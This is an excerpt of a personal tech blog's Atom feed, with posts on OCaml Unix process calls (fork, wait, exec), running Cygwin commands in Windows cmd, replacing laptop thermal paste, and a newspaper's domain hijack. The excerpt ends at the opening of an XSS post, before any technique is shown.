&lt;h3&gt;Example 1: &lt;em&gt;fork&lt;/em&gt;, &lt;em&gt;getpid&lt;/em&gt; and &lt;em&gt;getppid&lt;/em&gt; :&lt;/h3&gt; &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:9ce6104f-a9aa-4a17-a79f-3a39532ebf7c:9dc84be9-be5f-4cea-8fc7-404cf1967862" class="wlWriterEditableSmartContent"&gt; &lt;div style="border: #000080 1px solid; color: #000; font-family: 'Courier New', Courier, Monospace; font-size: 10pt"&gt; &lt;div style="background: #ddd; max-height: 300px; overflow: auto"&gt; &lt;ol style="background: #ffffff; margin: 0 0 0 2em; padding: 0 0 0 5px;"&gt; &lt;li&gt;&lt;span style="color:#0000ff"&gt;open&lt;/span&gt; Unix;;&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;&lt;span style="color:#0000ff"&gt;open&lt;/span&gt; Printf;;&lt;/li&gt; &lt;li&gt;&amp;nbsp;&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;&lt;span style="color:#0000ff"&gt;let&lt;/span&gt; a = fork () &lt;span style="color:#0000ff"&gt;in&lt;/span&gt;&lt;/li&gt; &lt;li&gt;  &lt;span style="color:#0000ff"&gt;match&lt;/span&gt; a &lt;span style="color:#0000ff"&gt;with&lt;/span&gt;&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;    | 0 &lt;span style="color:#0000ff"&gt;-&amp;gt;&lt;/span&gt; printf &lt;span style="color:#800000"&gt;&amp;quot;child -- pid : %d ,ppid : %d&amp;#92;n&amp;quot;&lt;/span&gt; (getpid ()) (getppid ())&lt;/li&gt; &lt;li&gt;    | -1 &lt;span style="color:#0000ff"&gt;-&amp;gt;&lt;/span&gt; printf &lt;span style="color:#800000"&gt;&amp;quot;%s&amp;quot;&lt;/span&gt; &lt;span style="color:#800000"&gt;&amp;quot;error accured on fork&amp;#92;n&amp;quot;&lt;/span&gt;&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;    | _ &lt;span style="color:#0000ff"&gt;-&amp;gt;&lt;/span&gt; printf &lt;span style="color:#800000"&gt;&amp;quot;parent process : %d&amp;#92;n&amp;quot;&lt;/span&gt; (getpid ())&lt;/li&gt; &lt;li&gt;;;&lt;/li&gt; &lt;/ol&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;p&gt;This example shows how to do a simple &lt;strong&gt;fork&lt;/strong&gt; to create a new process, then each process prints its pId to the console, here we cannot ensure which one will print first, the parent or the child. Here we use the usual function &lt;strong&gt;fork&lt;/strong&gt;, &lt;strong&gt;getpid&lt;/strong&gt; to get the ID of the current process and &lt;strong&gt;getppid&lt;/strong&gt; to get the parent process.&lt;/p&gt; &lt;p&gt;&lt;strong&gt;Compile : &lt;/strong&gt;&lt;/p&gt; &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:9ce6104f-a9aa-4a17-a79f-3a39532ebf7c:d8f16fa2-119c-4f66-ae0b-875f9858fbd3" class="wlWriterEditableSmartContent"&gt; &lt;div style="border: #000080 1px solid; color: #000; font-family: 'Courier New', Courier, Monospace; font-size: 10pt"&gt; &lt;div style="background: #ddd; max-height: 300px; overflow: auto"&gt; &lt;ol style="background: #ffffff; margin: 0 0 0 2em; padding: 0 0 0 5px;"&gt; &lt;li&gt;sky@sky-laptop:~/Desktop$ ocamlc unix.cma demo.ml -o demo&lt;/li&gt; &lt;/ol&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;p&gt;&lt;strong&gt;Output 1:&lt;/strong&gt;&lt;/p&gt; &lt;p&gt; &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:9ce6104f-a9aa-4a17-a79f-3a39532ebf7c:94bacf28-2805-4307-a649-4529d471c8aa" class="wlWriterEditableSmartContent"&gt; &lt;div style="border: #000080 1px solid; color: #000; font-family: 'Courier New', Courier, Monospace; font-size: 10pt"&gt; &lt;div style="background: #ddd; max-height: 300px; overflow: auto"&gt; &lt;ol style="background: #ffffff; margin: 0 0 0 2em; padding: 0 0 0 5px;"&gt; &lt;li&gt;sky@sky-laptop:~/Desktop$ ./demo &lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;parent process : 3249&lt;/li&gt; &lt;li&gt;child -- pid : 3250 ,ppid : 3249&lt;/li&gt; &lt;/ol&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;Output 2:&lt;/strong&gt;&lt;/p&gt; &lt;p&gt; &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:9ce6104f-a9aa-4a17-a79f-3a39532ebf7c:eae1704c-ec4b-4832-be20-3d1522f9a513" class="wlWriterEditableSmartContent"&gt; &lt;div style="border: #000080 1px solid; color: #000; font-family: 'Courier New', Courier, Monospace; font-size: 10pt"&gt; &lt;div style="background: #ddd; max-height: 300px; overflow: auto"&gt; &lt;ol style="background: #ffffff; margin: 0 0 0 2em; padding: 0 0 0 5px;"&gt; &lt;li&gt;sky@sky-laptop:~/Desktop$ ./demo &lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;child -- pid : 3250 ,ppid : 3249&lt;/li&gt; &lt;li&gt;parent process : 3249&lt;/li&gt; &lt;/ol&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt;&lt;/p&gt; &lt;h3&gt;Example 2, &lt;em&gt;wait&lt;/em&gt;:&lt;/h3&gt; &lt;p&gt;To ensure that the child process finish before its parent we use the wait system call, which returns the id of the finished process and the &lt;a href="http://caml.inria.fr/pub/docs/manual-ocaml/libref/Unix.html#TYPEprocess_status" target="_blank"&gt;status code&lt;/a&gt; returned from the process.&lt;/p&gt; &lt;p&gt; &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:9ce6104f-a9aa-4a17-a79f-3a39532ebf7c:64d562ed-5578-4aad-a7b2-ed16b92cf9fd" class="wlWriterEditableSmartContent"&gt; &lt;div style="border: #000080 1px solid; color: #000; font-family: 'Courier New', Courier, Monospace; font-size: 10pt"&gt; &lt;div style="background: #ddd; max-height: 300px; overflow: auto"&gt; &lt;ol style="background: #ffffff; margin: 0 0 0 2.5em; padding: 0 0 0 5px;"&gt; &lt;li&gt;&lt;span style="color:#0000ff"&gt;open&lt;/span&gt; Unix;;&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;&lt;span style="color:#0000ff"&gt;open&lt;/span&gt; Printf;;&lt;/li&gt; &lt;li&gt;&amp;nbsp;&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;&lt;span style="color:#0000ff"&gt;let&lt;/span&gt; a = fork () &lt;span style="color:#0000ff"&gt;in&lt;/span&gt;&lt;/li&gt; &lt;li&gt;  &lt;span style="color:#0000ff"&gt;match&lt;/span&gt; a &lt;span style="color:#0000ff"&gt;with&lt;/span&gt;&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;    | 0 &lt;span style="color:#0000ff"&gt;-&amp;gt;&lt;/span&gt;  printf &lt;span style="color:#800000"&gt;&amp;quot;child -- pid : %d ,parent pid : %d&amp;#92;n&amp;quot;&lt;/span&gt; (getpid ()) (getppid ()); &lt;/li&gt; &lt;li&gt;        exit 13&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;    | -1 &lt;span style="color:#0000ff"&gt;-&amp;gt;&lt;/span&gt; printf &lt;span style="color:#800000"&gt;&amp;quot;%s&amp;quot;&lt;/span&gt; &lt;span style="color:#800000"&gt;&amp;quot;error accured on fork&amp;#92;n&amp;quot;&lt;/span&gt;&lt;/li&gt; &lt;li&gt;    | _ &lt;span style="color:#0000ff"&gt;-&amp;gt;&lt;/span&gt; &lt;span style="color:#0000ff"&gt;let&lt;/span&gt; childid, returncode = wait () &lt;span style="color:#0000ff"&gt;in&lt;/span&gt; &lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;        printf &lt;span style="color:#800000"&gt;&amp;quot;parent process : %d&amp;#92;n&amp;quot;&lt;/span&gt; (getpid ());&lt;/li&gt; &lt;li&gt;        printf &lt;span style="color:#800000"&gt;&amp;quot;child %d closed with status code %d&amp;quot;&lt;/span&gt; childid (&lt;span style="color:#0000ff"&gt;let&lt;/span&gt; WEXITED(code) = returncode &lt;span style="color:#0000ff"&gt;in&lt;/span&gt; code)&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;;;&lt;/li&gt; &lt;/ol&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt;&lt;/p&gt; &lt;p&gt;&lt;strong&gt;Output :&lt;/strong&gt;&lt;/p&gt; &lt;p&gt; &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:9ce6104f-a9aa-4a17-a79f-3a39532ebf7c:fc4aadb8-226f-4ca5-89e6-f761d9a059ea" class="wlWriterEditableSmartContent"&gt; &lt;div style="border: #000080 1px solid; color: #000; font-family: 'Courier New', Courier, Monospace; font-size: 10pt"&gt; &lt;div style="background: #ddd; max-height: 300px; overflow: auto"&gt; &lt;ol style="background: #ffffff; margin: 0 0 0 2em; padding: 0 0 0 5px;"&gt; &lt;li&gt;sky@sky-laptop:~/Desktop$ ./demo &lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;child -- pid : 3268 ,parent pid : 3267&lt;/li&gt; &lt;li&gt;parent process : 3267&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;child 3268 closed &lt;span style="color:#0000ff"&gt;with&lt;/span&gt; status code 13&lt;/li&gt; &lt;/ol&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt;&lt;/p&gt; &lt;p&gt;As you see, the child exits with the code 13, the parent calls &lt;strong&gt;wait&lt;/strong&gt; to wait for its unique child created with &lt;strong&gt;fork&lt;/strong&gt;, then reads the returned code, note that OCaml will generate a warning here because we just check for &lt;strong&gt;WEXITED&lt;/strong&gt; (we know it will exit normally) but we omit &lt;strong&gt;WSIGNALED&lt;/strong&gt; and &lt;strong&gt;WSTOPPED&lt;/strong&gt;. In C you don’t have this flexibility of warnings which can brings you a lot of trouble.&lt;/p&gt; &lt;h3&gt;Exemple 3, &lt;em&gt;exec*&lt;/em&gt;:&lt;/h3&gt; &lt;p&gt;This example demonstrates how to use the &lt;em&gt;&lt;strong&gt;exec*&lt;/strong&gt;&lt;/em&gt; calls, these methods replaces the core of the process with the new code of the command to be executed thus the function never returns, when the function fails, an exception is thrown, check the &lt;a href="http://caml.inria.fr/pub/docs/manual-ocaml/libref/Unix.html#EXCEPTIONUnix_error" target="_blank"&gt;specifications here&lt;/a&gt;.&lt;/p&gt; &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:9ce6104f-a9aa-4a17-a79f-3a39532ebf7c:a7bd74ad-ad3a-4827-bd63-81ef80727083" class="wlWriterEditableSmartContent"&gt; &lt;div style="border: #000080 1px solid; color: #000; font-family: 'Courier New', Courier, Monospace; font-size: 10pt"&gt; &lt;div style="background: #ddd; max-height: 300px; overflow: auto"&gt; &lt;ol style="background: #ffffff; margin: 0 0 0 2.5em; padding: 0 0 0 5px;"&gt; &lt;li&gt;&lt;span style="color:#0000ff"&gt;open&lt;/span&gt; Unix;;&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;&lt;span style="color:#0000ff"&gt;open&lt;/span&gt; Printf;;&lt;/li&gt; &lt;li&gt;&amp;nbsp;&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;&lt;span style="color:#0000ff"&gt;let&lt;/span&gt; a = fork () &lt;span style="color:#0000ff"&gt;in&lt;/span&gt;&lt;/li&gt; &lt;li&gt;  &lt;span style="color:#0000ff"&gt;match&lt;/span&gt; a &lt;span style="color:#0000ff"&gt;with&lt;/span&gt;&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;    | 0 &lt;span style="color:#0000ff"&gt;-&amp;gt;&lt;/span&gt; (&lt;span style="color:#0000ff"&gt;try&lt;/span&gt;&lt;/li&gt; &lt;li&gt;          execvp &lt;span style="color:#800000"&gt;&amp;quot;ls&amp;quot;&lt;/span&gt; [|&lt;span style="color:#800000"&gt;&amp;quot;ls&amp;quot;&lt;/span&gt;; &lt;span style="color:#800000"&gt;&amp;quot;-l&amp;quot;&lt;/span&gt;|]&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;       &lt;span style="color:#0000ff"&gt;with&lt;/span&gt;&lt;/li&gt; &lt;li&gt;          _ &lt;span style="color:#0000ff"&gt;-&amp;gt;&lt;/span&gt; printf &lt;span style="color:#800000"&gt;&amp;quot;%s&amp;quot;&lt;/span&gt; &lt;span style="color:#800000"&gt;&amp;quot;error while execv&amp;#92;n&amp;quot;&lt;/span&gt;; exit (-1))&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;    | -1 &lt;span style="color:#0000ff"&gt;-&amp;gt;&lt;/span&gt; printf &lt;span style="color:#800000"&gt;&amp;quot;%s&amp;quot;&lt;/span&gt; &lt;span style="color:#800000"&gt;&amp;quot;error accured on fork&amp;#92;n&amp;quot;&lt;/span&gt;&lt;/li&gt; &lt;li&gt;    | _ &lt;span style="color:#0000ff"&gt;-&amp;gt;&lt;/span&gt; ignore (wait ()); printf &lt;span style="color:#800000"&gt;&amp;quot;%s&amp;quot;&lt;/span&gt; &lt;span style="color:#800000"&gt;&amp;quot;parent exit...&amp;#92;n&amp;quot;&lt;/span&gt;&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;;;&lt;/li&gt; &lt;/ol&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt; &lt;p&gt;Here we fork and replace the child code with the&lt;strong&gt; ls&lt;/strong&gt; command’s, here is the output&lt;/p&gt; &lt;div style="padding-bottom: 0px; margin: 0px; padding-left: 0px; padding-right: 0px; display: inline; float: none; padding-top: 0px" id="scid:9ce6104f-a9aa-4a17-a79f-3a39532ebf7c:0cff3a9f-5687-4739-8d01-53fcde114a20" class="wlWriterEditableSmartContent"&gt; &lt;div style="border: #000080 1px solid; color: #000; font-family: 'Courier New', Courier, Monospace; font-size: 10pt"&gt; &lt;div style="background: #ddd; max-height: 300px; overflow: auto"&gt; &lt;ol style="background: #ffffff; margin: 0 0 0 2em; padding: 0 0 0 5px;"&gt; &lt;li&gt;sky@sky-laptop:~/Desktop$ ./demo &lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;total 136&lt;/li&gt; &lt;li&gt;-rwxr-xr-x 1 sky sky 82110 2010-04-20 00:26 demo&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;-rw-r--r-- 1 sky sky   234 2010-04-20 00:26 demo.cmi&lt;/li&gt; &lt;li&gt;-rw-r--r-- 1 sky sky   743 2010-04-20 00:26 demo.cmo&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;-rw-r--r-- 1 sky sky   291 2010-04-20 00:26 demo.ml&lt;/li&gt; &lt;li&gt;-rw-r--r-- 1 sky sky   410 2010-04-20 00:26 demo.ml&lt;span style="color:#0000ff"&gt;~&lt;/span&gt;&lt;/li&gt; &lt;li style="background: #f3f3f3"&gt;parent exit...&lt;/li&gt; &lt;/ol&gt; &lt;/div&gt; &lt;/div&gt; &lt;/div&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8964007124326996693-8197245923793294824?l=www.martani.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.martani.net/feeds/8197245923793294824/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.martani.net/2010/04/ocaml-and-unix-programming.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/8197245923793294824'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/8197245923793294824'/><link rel='alternate' type='text/html' href='http://www.martani.net/2010/04/ocaml-and-unix-programming.html' title='OCaml and Unix programming'/><author><name>fakhrou martani</name><uri>https://profiles.google.com/103182982567993728984</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-uWdGi2569GI/AAAAAAAAAAI/AAAAAAAAAAA/6_obyno4c4c/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8964007124326996693.post-2478799421713615241</id><published>2010-04-11T14:47:00.001+02:00</published><updated>2010-04-11T14:47:11.423+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Linux'/><category scheme='http://www.blogger.com/atom/ns#' term='windows'/><title type='text'>Run Unix commands on Widows cmd</title><content type='html'>&lt;p&gt;For those of you who can’t live a day without typing at least a thousand “ls” and few hundreds “ps”, “cat” etc… You can do it on Windows cmd too.&lt;/p&gt; &lt;p&gt;By installing Cygwin and setting the PATH variable to point the Cygwin’s bin directory, most of the commands will work as usual from the Windows cmd, not just Cygwin’s shell. Of course it won’t be as real as running these commands on a Unix machine, but it still handy to do so anyways.&lt;/p&gt; &lt;p&gt;For example the ps command will only show processes that were started from the current shell (cmd), what’s funny also is that you can type both windows and Unix commands together.&lt;/p&gt; &lt;p&gt;&lt;a href="http://lh4.ggpht.com/_MIqc395dv38/S8HEyRqJElI/AAAAAAAABMY/KOYfh0O98FI/s1600-h/win%20cmd%20unix%5B3%5D.png"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: block; float: none; margin-left: auto; border-top: 0px; margin-right: auto; border-right: 0px" title="win cmd unix" border="0" alt="win cmd unix" src="http://lh6.ggpht.com/_MIqc395dv38/S8HEzk7KJJI/AAAAAAAABMc/_fCpR6lBL54/win%20cmd%20unix_thumb%5B1%5D.png?imgmax=800" width="485" height="420"&gt;&lt;/a&gt;&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8964007124326996693-2478799421713615241?l=www.martani.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.martani.net/feeds/2478799421713615241/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.martani.net/2010/04/run-unix-commands-on-widows-cmd.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/2478799421713615241'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/2478799421713615241'/><link rel='alternate' type='text/html' href='http://www.martani.net/2010/04/run-unix-commands-on-widows-cmd.html' title='Run Unix commands on Widows cmd'/><author><name>fakhrou martani</name><uri>https://profiles.google.com/103182982567993728984</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-uWdGi2569GI/AAAAAAAAAAI/AAAAAAAAAAA/6_obyno4c4c/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh6.ggpht.com/_MIqc395dv38/S8HEzk7KJJI/AAAAAAAABMc/_fCpR6lBL54/s72-c/win%20cmd%20unix_thumb%5B1%5D.png?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8964007124326996693.post-2606321295276680794</id><published>2010-03-31T01:32:00.001+02:00</published><updated>2010-03-31T01:32:01.232+02:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='cpu'/><category scheme='http://www.blogger.com/atom/ns#' term='technology'/><title type='text'>Avoid CPU overheating problems with thermal compound</title><content type='html'>&lt;p&gt;For no less that 9 months, my Hp Dv6 laptop was overheating to a point where I can’t touch the mouse pad anymore or even put my hands near the keyboard. I sent it to the customer service for repair but their report after a month about the overheating problem was that : &lt;em&gt;“I have 4 operating systems installed on my PC, therefore I have to install just one and everything will work normally”&lt;/em&gt;… &lt;strong&gt;Jerks&lt;/strong&gt;!!!&lt;/p&gt;  &lt;p&gt;Anyways, I posted on forums, did everything possible for a solution but no hope, till the last week where someone &lt;a href="http://www.commentcamarche.net/forum/affich-12515493-hp-pavillion-dv6000-surchauffe-beaucoup#7" target="_blank"&gt;replied my post&lt;/a&gt; suggesting to change the thermal compound of my CPU.&lt;/p&gt;  &lt;p&gt;I searched the web a little and finally I chose the &lt;a href="http://www.arcticsilver.com/as5.htm" target="_blank"&gt;ArcticSilver 5&lt;/a&gt; from Surcouf store for 7€ (3.5gr). When I disassembled the CPU and the GPU also, I found that the old thermal grease was very dry and especially it got away from the center of the CPU.&lt;/p&gt;  &lt;p&gt;I installed the new thermal compound by looking at some &lt;a href="http://www.youtube.com/watch?v=o7rPqCvCt0g" target="_blank"&gt;videos&lt;/a&gt; and the &lt;a href="http://www.arcticsilver.com/amd_application_method.html#" target="_blank"&gt;Arctic guides&lt;/a&gt;, and now my laptop is working pretty amazing, no serious overheating and the temperature of the CPU is mainly at regular levels.&lt;/p&gt;  &lt;p&gt;&lt;a href="http://lh5.ggpht.com/_MIqc395dv38/S7KJ7PperfI/AAAAAAAABMI/XTSqESbc-7I/s1600-h/CPU%5B3%5D.png"&gt;&lt;img style="border-bottom: 0px; border-left: 0px; display: block; float: none; margin-left: auto; border-top: 0px; margin-right: auto; border-right: 0px" title="CPU" border="0" alt="CPU" src="http://lh3.ggpht.com/_MIqc395dv38/S7KJ8O3o3VI/AAAAAAAABMM/ESsOY4fNiro/CPU_thumb%5B1%5D.png?imgmax=800" width="310" height="309" /&gt;&lt;/a&gt; So if your laptop/PC is having some overheating problems, make sure to clean the air fans and apply new thermal compound to the CPU.&lt;/p&gt;  &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8964007124326996693-2606321295276680794?l=www.martani.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.martani.net/feeds/2606321295276680794/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.martani.net/2010/03/avoid-cpu-overheating-problems-with.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/2606321295276680794'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/2606321295276680794'/><link rel='alternate' type='text/html' href='http://www.martani.net/2010/03/avoid-cpu-overheating-problems-with.html' title='Avoid CPU overheating problems with thermal compound'/><author><name>fakhrou martani</name><uri>https://profiles.google.com/103182982567993728984</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-uWdGi2569GI/AAAAAAAAAAI/AAAAAAAAAAA/6_obyno4c4c/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh3.ggpht.com/_MIqc395dv38/S7KJ8O3o3VI/AAAAAAAABMM/ESsOY4fNiro/s72-c/CPU_thumb%5B1%5D.png?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8964007124326996693.post-7302217199277541153</id><published>2010-03-17T21:07:00.003+01:00</published><updated>2010-03-18T20:13:14.541+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Security'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Thoughts about the hacking of Echourouk news paper</title><content type='html'>&lt;blockquote&gt;Echoroukonline website was hacked Sunday at around 10 pm by Egyptians as part of a media campaign…&lt;br /&gt;&lt;a bitly="BITLY_PROCESSED" href="http://www.echorouk.net/eng/index.php?news=9213" target="_blank"&gt;http://www.echorouk.net/eng/index.php?news=9213&lt;/a&gt;&lt;/blockquote&gt;The website is still down till now, or precisely the domain is owned by the hackers, and I wonder why they didn’t get the domain back yet? As one of the readers commented, a simple call to GoDaddy technical support would fix the problem, am I wrong??&lt;br /&gt;&lt;ul&gt;&lt;ul&gt;&lt;li&gt;Product and Technical Support: &lt;strong&gt;(480) 505-8877&lt;/strong&gt;&lt;/li&gt;&lt;li&gt;Billing Support: &lt;strong&gt;(480) 505-8855&lt;/strong&gt;&lt;/li&gt;&lt;/ul&gt;&lt;/ul&gt;Anyways, they seem to have very good developers/administrators after all!!!&lt;br /&gt;Going back to how the domain name was owned according to their news paper by a:&lt;br /&gt;&lt;blockquote&gt;“It is a new technique and I have not heard about it for 15 years in my work,” manager of GECOS Sofiane Sakhri said.&lt;/blockquote&gt;Seriously?? It is that simple, they got the domain name, how? it is impossible that this is a vulnerability in the GoDaddy’s website, so the only way is that the domain was transferred!!&lt;br /&gt;Echourouk claims that the attackers sent emails in its behalf, means, used &lt;a bitly="BITLY_PROCESSED" href="http://www.martani.net/2010/01/warning-do-you-trust-email.html" target="_blank"&gt;this technique&lt;/a&gt; I discussed few weeks before.&lt;br /&gt;As far as I know, a domain transfer cannot be transferred without having a transfer key, and then you have to accept explicitly the transfer by clicking on a specific link in your email sent by your registrar. So I don’t see anyhow, how the attacker can trick GoDaddy by sending them faked emails. Which leads us to the only logical explanation that the attackers got access to the domain name administrator’s email, and they got everything from there.&lt;br /&gt;What I’m trying to say, is that it is highly probable that Echourouk’s website administrator got tricked by a fishing attack, or some secret documents of the company got stolen by the hackers.&lt;br /&gt;And yes, it happens, even for the 20th most visited website in the world, do you remember the T&lt;a bitly="BITLY_PROCESSED" href="http://mashable.com/2009/12/18/twitter-hacked-what-a-black-eye/" target="_blank"&gt;witter DNS attack&lt;/a&gt; few months ago?? But the difference, twitter recovered so fast, maybe just 1 or 2 hours down, by Echourouk… it seems it is going to be down forever.&lt;br /&gt;So really, don’t they have phones to call technical support and get their domain back??&lt;br /&gt;They were ranked 1157 and their new domain is ranked 16,785,560, that’s how bad it is, in case they don’t see it!&lt;br /&gt;&lt;a bitly="BITLY_PROCESSED" href="http://lh3.ggpht.com/_MIqc395dv38/S6E3hgn7VQI/AAAAAAAABLo/U_Ys_RpdHT4/s1600-h/from%5B3%5D.png"&gt;&lt;img alt="from" border="0" height="310" src="http://lh6.ggpht.com/_MIqc395dv38/S6E3iBGgpDI/AAAAAAAABLs/zDQTzt0OZBE/from_thumb%5B1%5D.png?imgmax=800" style="border-bottom: 0px; border-left: 0px; border-right: 0px; border-top: 0px; display: block; float: none; margin-left: auto; margin-right: auto;" title="from" width="534" /&gt;&lt;/a&gt;&lt;br /&gt;If you have any other theories, please enlighten me.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8964007124326996693-7302217199277541153?l=www.martani.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.martani.net/feeds/7302217199277541153/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.martani.net/2010/03/thoughts-about-hacking-of-echourouk.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/7302217199277541153'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/7302217199277541153'/><link rel='alternate' type='text/html' href='http://www.martani.net/2010/03/thoughts-about-hacking-of-echourouk.html' title='Thoughts about the hacking of Echourouk news paper'/><author><name>fakhrou martani</name><uri>https://profiles.google.com/103182982567993728984</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-uWdGi2569GI/AAAAAAAAAAI/AAAAAAAAAAA/6_obyno4c4c/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh6.ggpht.com/_MIqc395dv38/S6E3iBGgpDI/AAAAAAAABLs/zDQTzt0OZBE/s72-c/from_thumb%5B1%5D.png?imgmax=800' height='72' width='72'/><thr:total>0</thr:total><georss:featurename>Paris, France</georss:featurename><georss:point>48.8566667 2.3509871</georss:point><georss:box>48.7437227 2.1175276000000003 48.9696107 2.5844466</georss:box></entry><entry><id>tag:blogger.com,1999:blog-8964007124326996693.post-4332239436267829118</id><published>2010-03-13T20:23:00.007+01:00</published><updated>2010-03-13T20:34:37.044+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Security'/><category scheme='http://www.blogger.com/atom/ns#' term='XSS'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Some XSS Techniques and Real World Examples</title><content type='html'>Yesterday, &lt;a bitly="BITLY_PROCESSED" href="http://djeradsofiane.wordpress.com/" target="_blank"&gt;Djerad Sofiane&lt;/a&gt; started a new url shortening website called &lt;a bitly="BITLY_PROCESSED" href="http://shr1nk.me/" target="_blank"&gt;Shr1rink.me&lt;/a&gt; (yeah you get it, shrink me) using the open source project &lt;a bitly="BITLY_PROCESSED" href="http://yourls.org/" target="_blank"&gt;yourls&lt;/a&gt;. So I tried to see how secure it was, and after a while I found few vulnerabilities,&amp;nbsp; I also &lt;a bitly="BITLY_PROCESSED" href="http://twitter.com/martani_net/status/10397862548" target="_blank"&gt;promised&lt;/a&gt; Sofiane to show him live examples of how-to exploit them –&lt;a bitly="BITLY_PROCESSED" href="http://twitter.com/djeradsofiane/status/10397595955" target="_blank"&gt;he is kinda newbie&lt;/a&gt; :D, nah seriously, he is a cool guy, check his blog out-&lt;br /&gt;&lt;br /&gt;Ok, first I discovered that I can shrink links from the website itself, so an &lt;a bitly="BITLY_PROCESSED" 